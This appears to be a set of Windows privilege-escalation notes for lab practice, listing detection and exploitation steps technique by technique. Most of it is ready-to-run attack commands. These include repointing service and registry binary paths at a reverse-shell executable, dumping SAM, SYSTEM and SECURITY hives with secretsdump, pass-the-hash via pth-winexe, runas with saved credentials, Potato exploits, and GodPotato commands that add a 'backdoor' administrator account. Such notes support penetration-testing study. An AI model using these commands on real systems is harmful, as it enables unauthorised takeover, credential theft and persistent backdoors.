Manual Exploitation
./PowerUp.ps1
/ ` Invoke-allChecks
WinPEAS.exe doc - https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe
colors
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1`
-
kernel exploit:
- Detection:
wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
- compare results with https://github.com/SecWiki/windows-kernel-exploits
- Exploitation:
- download pre-compiled versions from above link
- manually compile exploit and upload to box
- Detection:
2-6 all service: (avoid rabbit holes)
WinPEAS ./winpeas servicesinfo
must be able to MODIFY OR START/STOP SERVICE
check that we can start stop service accesschk.exe /accepteula -ucqv <user> <reg>
-
Service: Insecure Permissions:
- Detection:
- WinPEAS
Modifiable Services - ChangeConfig
- manually
accesschk64.exe -wuvc USER *
- WinPEAS
- Exploitation:
- manually
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
- manually
- Detection:
-
Service: Unquoted Service Path:
- Detection:
- WinPEAS
no quotes and Space detected
- Ceck for write permission icacls/ echo in directory then get service name:
- wmic service get name,displayname,pathname,startmode
- sc query state= all
- manually
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
- WinPEAS
- Exploitation:
- manually create service binary, upload to path
C:\Program Files\Unquoted Path Service\Common.exe
, thensc stop NAME; sc start NAME
- manually create service binary, upload to path
- Detection:
-
Service: Weak Registry Permissions:
- Detection:
- WinPEAS
(Interactive [Allow: FullControl])
- manually
.\accesschk64.exe -kwusv hklm\System\CurrentControlSet\Services | select-string -pattern GROUP/USER -casesensitive -context 7,7
- WinPEAS
- Exploitation:
- manually change bin path:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
- manually change bin path:
- Detection:
-
Service: Insecure Service Executable:
- Detection:
- WinPEAS
File Permissions: Everyone [Allow: AllAccess]
- manually
accesschk64.exe -wuv FILE/DIRECTORY
- WinPEAS
- Exploit:
- manually create service binary, upload, then overwrite service file
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
- manually create service binary, upload, then overwrite service file
- Detection:
-
DLL hijacking:
- Detection:
- WinPEAS
(DLL Hijacking)
in PATH - manually In process Monitor search for NAME NOT FOUND reg
- WinPEAS
- Exploitation:
- manually create DLL binary, upload to valid path, then
sc stop NAME; sc start NAME
- manually create DLL binary, upload to valid path, then
- Detection:
-
Registry: autorun:
- Detection:
- WinPEAS
./winpeas applicationsinfo
- WinPEAS
FilePerms: Everyone [AllAccess]
- WinPEAS
- Exploitation:
- manually create .exe, upload, then wait for administrator to log in
- Detection:
-
Registry: AlwaysInstallElevated:
- Detection:
- WinPEAS
./winpeas windowscreds
- manually
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- and
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- WinPEAS
- Exploitation:
- manually create MSI binary, upload, then run
- Detection:
-
Passwords: Registry
- Detection:
- WinPEAS
./winpeas filesinfo userinfo
- manually
reg query HKLM /f password /t REG_SZ /s
- manually
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
- manual we can spawn shell from kali with registry found passwords with
winexe -U 'admin%password' --system //10.10.74.192 cmd.exe
- WinPEAS
- Detection:
-
Passwords: Saved Creds
- Detection:
- WinPEAS
./winpeas windowscreds
- manually
cmdkey /list
- WinPEAS
- Exploitation:
- set listener and run
runas /savecred /user:admin C:\PrivEsc\reverse.exe
- set listener and run
- Detection:
-
Passwords: Configuration Files
- Detection:
- WinPEAS
./winpeas searchfast filesinfo
- manually
dir /s *pass* == *.config
- manually
findstr /si password *.xml *.ini *.txt
- WinPEAS
- Detection:
-
Passwords: Security Account Manager (SAM)
- Detection:
- WinPEAS
./winpeas searchfast filesinfo
search for SAM and SYSTEM location - manually
reg.exe save hklm\sam SAM
reg.exe save hklm\system SYSTEM
reg.exe save hklm\security SECURITY
move to kali - manually dump
impacket-secretsdump -sam 'path/to/SAM' -system 'path/to/system' LOCAL
- WinPEAS
- Exploitation:
- manually pass the hash
pth-winexe --system -U 'admin%hash' //10.10.74.192 cmd.exe
- manually pass the hash
- Detection:
-
Scheduled tasks:
- Detection:
- manually interesting folders in
C:/
- PowerUp
Get-ModifiableScheduledTaskFile
- manually interesting folders in
- Exploitation:
- manually create .exe, upload, then place file in identified location
- Detection:
-
Insecure GUI Apps:
- Detection:
- manually
tasklist /V | findstr mspaint.exe
- manually
- Exploitation:
- In Paint, click “File” and then “Open”. In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe
- Detection:
-
Installed Applications:
- Detection:
- SeatBelt
seatbelt.exe NonstandardProcesses
- WinPEAS
winPEASany.exe procesinfo
- SeatBelt
- Exploitation:
- search Exploit-DB
- Detection:
-
Hot Potato:
- Exploitation:
- manually
potato.exe -ip 10.10.10.10 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
- manually
- Exploitation:
-
Token Impersonation:
- Detection:
- manual
whoami /priv
SeImpersonatePrivilege
- manual
- Exploitation:
- manually
GodPotato.exe -cmd "net user /add backdoor Password123"
GodPotato.exe -cmd "net localgroup administrators /add backdoor"
- manually
- Detection: